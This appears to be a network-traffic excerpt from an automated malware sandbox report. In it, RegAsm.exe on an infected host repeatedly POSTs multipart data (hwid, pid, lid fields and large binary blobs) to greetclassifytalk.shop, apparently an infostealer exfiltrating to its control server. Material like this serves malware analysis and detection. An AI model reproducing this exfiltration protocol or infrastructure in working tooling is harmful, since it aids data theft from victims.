2024-04-30 09:44:54 UTC	802	IN	HTTP/1.1 200 OK Date: Tue, 30 Apr 2024 09:44:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c1i7tgkn4evndh2kdcoe83bah3; expires=Sat, 24-Aug-2024 03:31:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3cKyQNU%2Bp4qTNRoXSnuZKxVn8fjCgNrly20DEJOJrbHTks3q0O25BTYwWWjdHWi2Ntaqk26fjAphxvl7YoiuBlim8Z6iBHd8GFA5oEKNArIqy49mHZuC17tVyph%2FrcVuzDhafipouAtT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87c69888ff362a2a-ORD alt-svc: h3=":443"; ma=86400
2024-04-30 09:44:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 39 2e 31 38 37 2e 31 38 32 2e 38 0d 0a Data Ascii: fok 89.187.182.8
2024-04-30 09:44:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.177.98	443	344	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-30 09:44:54 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: greetclassifytalk.shop
2024-04-30 09:44:54 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 36 32 44 43 35 44 45 43 36 39 38 32 43 42 30 32 43 41 44 45 46 36 44 46 39 39 33 37 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F5862DC5DEC6982CB02CADEF6DF9937E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-30 09:44:54 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-30 09:44:55 UTC	800	IN	HTTP/1.1 200 OK Date: Tue, 30 Apr 2024 09:44:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0uiap7hu879tggi4cfkgbap5bu; expires=Sat, 24-Aug-2024 03:31:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=73Jg3ez50opg1FNBItaVNzoDp6%2BdgyIJ8OS7UW13zgKUDjauBJDQJySkkDsw3vxhzjJ4Fp0cLq4DDmVVxkdoS5nEj8OHbPDPpBls7Q2Zg54hozif8gSCMdzA5OaxXWHDcVpPEBBc4Llw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87c6988e09dc29a5-ORD alt-svc: h3=":443"; ma=86400
2024-04-30 09:44:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 39 2e 31 38 37 2e 31 38 32 2e 38 0d 0a Data Ascii: fok 89.187.182.8
2024-04-30 09:44:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.177.98	443	344	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-30 09:44:55 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7079 Host: greetclassifytalk.shop
2024-04-30 09:44:55 UTC	7079	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 36 32 44 43 35 44 45 43 36 39 38 32 43 42 30 32 43 41 44 45 46 36 44 46 39 39 33 37 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F5862DC5DEC6982CB02CADEF6DF9937E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-30 09:44:56 UTC	808	IN	HTTP/1.1 200 OK Date: Tue, 30 Apr 2024 09:44:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k7pu67dphmgo1rajk869g79qf5; expires=Sat, 24-Aug-2024 03:31:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yyxK%2FtTqvIHoOGdt9j53D2a41YYxiGnQqMaPD%2B0e0dj%2BUn2Ph0WcKHh%2F3mDHLdzaw8kN6QJNqFRz07Z8DJ5Pg2Yxuit7B1BeLaJQg41uJgOVTTxptreH8kaBs3v9pkRXS2Gnh79T%2B6Wf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87c69893898c6303-ORD alt-svc: h3=":443"; ma=86400
2024-04-30 09:44:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 39 2e 31 38 37 2e 31 38 32 2e 38 0d 0a Data Ascii: fok 89.187.182.8
2024-04-30 09:44:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	172.67.177.98	443	344	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-30 09:44:57 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1394 Host: greetclassifytalk.shop
2024-04-30 09:44:57 UTC	1394	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 36 32 44 43 35 44 45 43 36 39 38 32 43 42 30 32 43 41 44 45 46 36 44 46 39 39 33 37 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F5862DC5DEC6982CB02CADEF6DF9937E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-30 09:44:58 UTC	808	IN	HTTP/1.1 200 OK Date: Tue, 30 Apr 2024 09:44:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7vs6418hj2ur741g98os2n4o2n; expires=Sat, 24-Aug-2024 03:31:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B5vvVR1rwJxBCo%2BRixA9zL4BqU26ljy60Vw5Qz7GTyuVllyRbzjVZ6huJHUMfJDbvqky%2FabI8%2BTS%2FMjeXt49NeCWGq1aOuPJIcm079rShlhIQXx59Xjj3caasc%2B5nI3cS0z9nNxS86dN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87c6989fad2f230f-ORD alt-svc: h3=":443"; ma=86400
2024-04-30 09:44:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 39 2e 31 38 37 2e 31 38 32 2e 38 0d 0a Data Ascii: fok 89.187.182.8
2024-04-30 09:44:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	172.67.177.98	443	344	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-30 09:44:59 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587100 Host: greetclassifytalk.shop
2024-04-30 09:44:59 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 36 32 44 43 35 44 45 43 36 39 38 32 43 42 30 32 43 41 44 45 46 36 44 46 39 39 33 37 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F5862DC5DEC6982CB02CADEF6DF9937E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-30 09:44:59 UTC	15331	OUT	Data Raw: c1 0d 60 e1 99 43 20 f1 0a 11 08 ae f1 b3 73 14 d7 02 4c 7a d2 d9 39 c7 81 ce 7a e2 ff ea ea 7f 2f b5 c0 bd b8 05 cc 62 40 94 31 35 db 07 e1 b4 82 60 07 d3 a0 da 08 8d f5 88 65 e5 1c f5 dc 81 e2 ee a6 3c d8 19 0e 57 84 1b 5d 68 a5 41 cc c3 52 3d 04 70 25 3e c5 ce 05 03 cc e5 97 8f 19 07 44 ec 48 b3 2b 16 92 53 81 a9 3b b6 0b 35 68 de 9b 5f 12 83 56 be 19 b1 84 3a a4 dc ed b9 50 f8 f0 a7 d8 37 8b 13 2a bc 49 8d 18 6a 85 99 ac fa 20 2c d3 5d 88 e4 54 bc a9 c2 22 4c fe 79 cc 1c 25 69 ab ce c7 49 9e 53 63 2f cc 25 ad c8 57 74 ff 93 7a 86 7e 48 88 4c a2 b5 a2 a8 fc 1b 52 2b 9d 7e b0 de 8e dc ff 82 0c b0 b0 d7 2f 68 6d ab 53 58 b1 45 f9 53 9f 50 16 d2 40 46 58 e3 0d 37 b6 3d 14 0b 86 ec 4f d4 94 a9 5c 6b 34 4e a3 52 dc d0 6f 76 a8 43 f5 7d 6f 87 9b d2 77 cb e5 Data Ascii: `C sLz9z/b@15`e<W]hAR=p%>DH+S;5h_V:P7*Ij ,]T"Ly%iISc/%Wtz~HLR+~/hmSXESP@FX7=O\k4NRovC}ow
2024-04-30 09:44:59 UTC	15331	OUT	Data Raw: 0f 2d 38 a0 98 46 10 72 75 65 e4 aa a9 2d a8 cf 31 e5 d8 d7 e7 3f ce b7 05 54 61 13 aa 8e 62 61 c3 67 91 2d 12 74 b1 3f f5 1a af 9c ba 56 6c 8c b1 86 c8 39 1e 59 d7 ce fc 78 57 bc 95 b5 24 0c 5b 9e 30 e9 01 8d 5a 48 c0 8f 41 30 7c 23 fa 5f 3f c6 8b 15 c9 bc e1 47 6f 35 49 4b 90 f9 a6 4f d4 82 03 1e 22 47 1a 59 6f 88 44 a2 25 ff 34 c9 4a 53 3b bb 7c 66 5e c1 96 01 d3 31 0f 2a 7a 6d a9 7a 50 a7 c8 4d 7e 6a 75 80 f0 82 f5 a2 f1 84 22 bf 91 0e bf fa 1e b3 90 a9 56 27 6e bc 08 2d 79 87 80 89 ad 32 b7 dd e2 6e 05 41 7d d8 bc 35 43 e4 6a 33 08 05 bc da 5f 1f d4 c3 03 dc b1 7d 04 f5 96 12 7c 9e 7d 29 f0 c8 be 43 69 de 4c 9b b1 7c 1e cc c7 ef 96 96 d3 8c f9 6c 68 9b 4f 3a f6 3c 68 73 30 78 e9 f6 37 a3 c9 81 f6 75 46 b1 e5 fe 8e 73 2c 49 74 30 91 b7 af 96 f1 98 af Data Ascii: -8Frue-1?Tabag-t?Vl9YxW$[0ZHA0\|#_?Go5IKO"GYoD%4JS;\|f^1*zmzPM~ju"V'n-y2nA}5Cj3_}\|})CiL\|lhO:<hs0x7uFs,It0
2024-04-30 09:44:59 UTC	15331	OUT	Data Raw: 0a 60 d1 8d b9 04 51 f4 db fd c5 d8 f8 90 bd fb 8b 5f cb 6c 3f 21 63 07 14 e2 e3 15 c7 ea bf d0 bc 41 6e 25 07 0d 64 57 87 f3 f5 6c df 4a 82 0e e3 2c ae 0f 2c 37 05 fe 62 49 fe db 00 e5 ec 98 b3 00 70 60 34 cf 44 25 30 62 54 26 24 97 1b bf e1 cd d4 9d fa 62 85 78 68 81 19 18 3e 78 e6 2c be 39 f1 9a 28 d8 a3 b0 7d df c7 0f f8 bb 6d 86 1e 56 37 27 05 b8 c5 c7 1b 7a 28 41 40 d0 6c b7 11 5b 06 69 b2 67 a9 bd 93 d0 0a 0a b2 d8 a6 bb e4 87 d5 b7 d1 cc ec 92 99 e7 50 d8 ef 56 fb 04 fd 16 7c 35 1c 44 91 af d9 de 7f ca f9 bb dd 7e ff b5 c7 fa a8 46 95 e7 51 d2 89 69 06 4e 30 c8 09 d8 27 58 60 e8 a9 2c d4 a9 18 bd 75 5c 5b ac c4 ad af 57 19 11 1a 24 f0 d0 b6 71 6f ee 25 cd 86 64 e5 99 27 72 8f 76 83 53 5d d9 76 b5 01 8f 2e 26 fa bc 34 3b b0 20 0d 7a 1f 7a 9a 20 66 Data Ascii: `Q_l?!cAn%dWlJ,,7bIp`4D%0bT&$bxh>x,9(}mV7'z(A@l[igPV\|5D~FQiN0'X`,u\[W$qo%d'rvS]v.&4; zz f
2024-04-30 09:44:59 UTC	15331	OUT	Data Raw: 1e 59 ea 77 76 2b 6b 4b 68 34 8c 5a 7e c4 c7 1d a3 b9 f8 16 97 49 9a ee fd ac a6 91 63 c1 f6 2b bd a6 33 f2 8e 8e 57 96 17 5f f8 b6 ad a6 33 da 1e 5a dd ed 4d 7e fe d1 e8 67 39 0f 29 ed b6 f9 62 f5 07 75 6b 6f e6 dc 89 2c 8b aa 09 56 ed dd 5d d2 14 16 7c 4b 7d 38 27 65 5d 4a e1 83 b5 c2 73 57 0c d3 ef 05 c4 46 d6 85 80 ef e1 d0 fb 57 d6 11 b4 e5 85 2e 2d fc ac ec f6 0f db 5f 3a e8 68 0c cf e2 5b c5 e2 9a ae 5a 32 1a 6f 79 ea 4a fd f4 1e 2e 53 8c 4e fa 20 75 f7 e0 e3 23 ec 22 7f d8 99 d0 5c 0b 84 8f 30 28 80 df 30 52 05 bd 52 e9 c7 8c dd 85 ed 0e 01 c8 eb 80 b8 c8 77 5a ed 10 1a d0 c5 b7 4a 13 93 09 57 24 1f 7a c3 00 2a de 9c 48 ac c8 f5 cb 45 c7 94 c8 e1 02 14 a7 b9 02 7b 3b 51 b3 72 3e fd 87 7d c4 3b 40 fc cb 15 7f f9 83 aa 83 a8 bd bb 03 7b 86 84 3e 21 Data Ascii: Ywv+kKh4Z~Ic+3W_3ZM~g9)buko,V]\|K}8'e]JsWFW.-_:h[Z2oyJ.SN u#"\0(0RRwZJW$z*HE{;Qr>};@{>!
2024-04-30 09:44:59 UTC	15331	OUT	Data Raw: a9 6a a1 70 a5 f3 1b 48 2d c6 3b 8b 74 d7 87 c8 7b 2d 9d 37 a4 5f bf 5a 6f 2b 0a 9a 5b 78 f5 2a b0 1c 2b ac bc 60 f8 75 db 08 82 5a 21 88 2c 68 d3 61 21 9e dd 72 57 0d 19 36 88 e6 dd 74 c6 7d cd 13 73 16 68 35 ae d6 63 9d 25 e1 f7 90 56 0b 94 8e 7e f1 85 e1 20 47 de 7b 7d 82 74 d5 68 f6 a4 1e fd 42 3e 6e c8 f6 e6 73 db 9d c3 d2 8c 64 34 ed 6e ee 07 d2 68 68 51 35 d4 28 a1 c6 b0 9d 69 f4 d3 c3 9f ea ea 2c 7e 16 90 87 3f 2a 0d 8b f2 fc 57 92 db 6a 50 43 46 51 60 83 df 19 22 f8 87 2f 4e e4 d6 07 5c e4 20 a2 94 17 fc 12 6d 64 86 d6 c4 36 cf 98 7c 92 83 12 6b 74 5b d9 67 e9 19 84 98 25 b4 32 eb 6c 57 6a d9 d6 15 d7 1a ef 98 62 bc c6 63 be 0c e2 2b 7a 3c e4 28 1b 54 7e e1 84 44 7f 80 30 ee ad 5f ec d2 56 4d 14 e5 c5 f7 0c 8f 2d fc fc f8 86 22 1d 3d 1f e2 d9 52 Data Ascii: jpH-;t{-7_Zo+[x+`uZ!,ha!rW6t}sh5c%V~ G{}thB>nsd4nhhQ5(i,~?WjPCFQ`"/N\ md6\|kt[g%2lWjbc+z<(T~D0_VM-"=R
2024-04-30 09:44:59 UTC	15331	OUT	Data Raw: 7a 4c 9e 99 2c 62 03 78 a6 68 82 2c 00 a0 55 b0 85 07 f9 c7 71 d4 96 6a ca d3 30 c6 f8 9f d9 7c 7c 28 25 f6 8d fc ef 5d f1 5f 02 f6 01 0a d0 17 5c 22 5c 63 af 39 09 ae e3 37 94 58 68 a5 d0 3b 29 42 97 5d 57 8b 84 a8 65 eb 22 a8 c9 4b 64 69 d1 dd 47 cf 75 37 04 f4 8a 4d cf a5 f1 29 1e 80 e4 47 4f a6 57 30 b1 8c e3 08 f5 04 d6 00 5f 92 01 08 ce d1 82 83 33 d7 6c 60 4b 74 e3 92 7a 7f b3 57 84 cf 15 31 52 2a b5 c5 b0 c4 72 d9 12 4a 0d 0b ec 25 65 2f 50 4b 50 2b 95 ae c2 ab 79 f3 66 b4 17 21 61 dd 82 dd b8 f6 7b c1 fc ad 6b f6 cd 71 df 6d 92 36 1d a0 54 af a5 1b bc 6a 83 e9 c3 06 fd 38 bd a8 81 98 67 b0 e3 8b 08 da 56 ca c0 33 74 a0 dc c6 b5 68 7a 80 2e 80 b6 56 4b c9 e5 de ef ab 36 73 b7 bc 7a 01 7d c3 ab aa 05 a2 73 14 e9 6c 14 3d 7e 73 ee bd 12 ca 3f e0 e3 Data Ascii: zL,bxh,Uqj0\|\|(%]_\"\c97Xh;)B]We"KdiGu7M)GOW0_3l`KtzW1R*rJ%e/PKP+yf!a{kqm6Tj8gV3thz.VK6sz}sl=~s?
2024-04-30 09:44:59 UTC	15331	OUT	Data Raw: ed f9 ef 79 87 20 d3 ba c6 f8 88 87 9c 5f 7b 3c 75 6f 8a d3 de cf 87 0a 50 ca 5e 7d ba 5d 5c c6 5e fe 8f 2c bc e9 81 b4 d5 18 6e 28 a3 61 82 d1 04 fd f7 b4 62 9c 5b 13 e9 f0 78 20 28 94 a7 a9 bd 79 a0 7b 79 fd d8 35 10 b2 71 02 5a 32 f3 35 9b ef e6 e9 9e dc 24 f2 07 56 3c ed df cb d5 84 f1 9c 32 58 99 8d e4 ff a8 ea fd 24 29 56 b3 e3 d2 f1 6a 3e 1f f3 9b 0d 1c 01 27 44 32 65 ac b6 27 6b fd 33 3f 7d d1 73 cb 04 27 9c 7e 01 9c 44 0f cd dd dd b3 3c d4 35 20 57 6a 5a f2 69 70 b4 a6 82 17 e9 3f c4 e7 1d d8 c5 60 4d 74 4a 55 ed 4d 56 dc 0f 78 23 89 50 e1 38 5e 97 f7 b3 4b d3 60 af 80 af 22 bb 3c 11 35 b4 27 b8 7a 7b 64 24 e5 42 b7 6a 64 44 c5 42 58 19 43 40 8f eb 67 5c 64 b8 a8 f4 c6 4e 6c 3e af 69 56 db 4b e9 89 1b 63 2b 0e 85 76 bd 53 ac 59 c3 af 3b b2 d0 3b Data Ascii: y _{<uoP^}]\^,n(ab[x (y{y5qZ25$V<2X$)Vj>'D2e'k3?}s'~D<5 WjZip?`MtJUMVx#P8^K`"<5'z{d$BjdDBXC@g\dNl>iVKc+vSY;;
2024-04-30 09:44:59 UTC	15331	OUT	Data Raw: 12 b9 32 4b 8f f4 04 72 e7 02 78 1f 16 bb 8c 60 5b 65 a7 79 78 cb 98 f5 3c 23 f8 76 5d 30 bf 7a 05 17 bf 79 49 05 37 4a 57 5c 1d 0b 7d bb 90 1d 55 16 7a f5 24 8e bd be 2d ea 62 3e cd 8a ba 0d 1a e7 e1 13 51 5c 83 42 4b ca e7 c9 a3 42 72 17 91 0e 79 75 a9 d5 0c 45 cc 4f 51 52 a1 e9 e1 26 27 b2 81 86 42 83 69 3c 51 67 0c 9c 65 0a 1f bb 48 6a ac 18 7a 78 6d f4 47 0d 7a b5 ae ec 06 74 d2 9c a0 2f b8 9e 97 da e6 2e 4b 76 dc 9b 1b c6 d3 24 c0 c1 14 6f 54 d1 25 32 86 aa 09 da 14 0a 8b f9 6f d1 f0 29 a9 84 57 aa af b7 95 0e 48 10 2c cc 32 a6 52 ef f1 64 14 a7 dd 02 25 ae 67 d9 b4 ed 0b 09 ab 9f 93 a7 ab 4e 40 52 e1 af fd f0 e7 60 3f af 0f d2 f4 91 a7 74 8b 10 ab a6 c5 cc e8 7c f3 ed 82 13 cd 82 fa db 5d 40 47 7b a5 29 8b 46 9b 8b f3 56 f2 4b 7c 4a 8e 09 ab a0 f9 Data Ascii: 2Krx`[eyx<#v]0zyI7JW\}Uz$-b>Q\BKBryuEOQR&'Bi<QgeHjzxmGzt/.Kv$oT%2o)WH,2Rd%gN@R`?t\|]@G{)FVK\|J
2024-04-30 09:44:59 UTC	15331	OUT	Data Raw: 7b f3 37 21 16 ae 1d cd 21 d5 66 2d 01 b7 58 1f cf ae e4 8e 55 4c ba 14 5d 98 71 75 ad d8 a8 5c 0d 3e bf fd f6 f6 8c 62 cb f1 a1 5f df 66 3f b7 b4 57 6e e5 5a cb b4 ec 6d 8f f2 d3 5c a1 f5 a4 a4 2d e4 5a 6f 2f bb f0 fc 2e 15 9d 3d ad 33 ac 95 cf 6e eb ff 95 98 ba f0 86 b6 30 91 33 f9 5a 60 4f ea ea 79 db 7a ad ac 4d 12 f5 02 cb d0 df f2 8f c8 e3 c8 91 37 65 ae 6f 5a fa e7 0c 3a a8 75 fb 67 37 ae fa 71 5e d6 6f ab 39 04 95 4b f2 94 4e bd 41 7b 3f 11 96 7b a0 76 05 1b 56 1e 69 ec 01 9a 6b 1e 3e 24 f6 39 2d 27 92 08 c4 7c e2 c4 57 b6 d5 b8 a3 0b fb 6b 50 9a 3b 5c 1d fa 08 c1 ee 0c 63 1c 9f 4b 29 b5 9e d3 2c 97 4d 9d 3d 43 b3 c7 52 bc ea 1f 6f c4 45 a1 e7 05 69 d3 e8 97 bc 6f 4a 5c 0e 78 cc 43 cc 21 3b 8b e2 bc 9d 45 8a 35 cf 68 f5 9e b3 5e 60 28 96 aa b9 23 Data Ascii: {7!!f-XUL]qu\>b_f?WnZm\-Zo/.=3n03Z`OyzM7eoZ:ug7q^o9KNA{?{vVik>$9-'\|WkP;\cK),M=CRoEioJ\xC!;E5h^`(#
2024-04-30 09:45:00 UTC	808	IN	HTTP/1.1 200 OK Date: Tue, 30 Apr 2024 09:45:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i3pgqpg3rqv8fqbpsf7s4gno8o; expires=Sat, 24-Aug-2024 03:31:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=57MvbS59x1g3Wx%2F6E4tIvKoj%2FaCFIQAcUf5UyIcWDEiW2d3ER5C2xB8RpOQNZvkDJbCTyrNMikSqlU7cprbYTsAWm1%2BjWeqv%2BdQy33jJOFKKpLFVJqBMpoe7FfPC2%2Bii0icvaD1pA1GU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87c698a94cc689f4-ORD alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	11:44:49
Start date:	30/04/2024
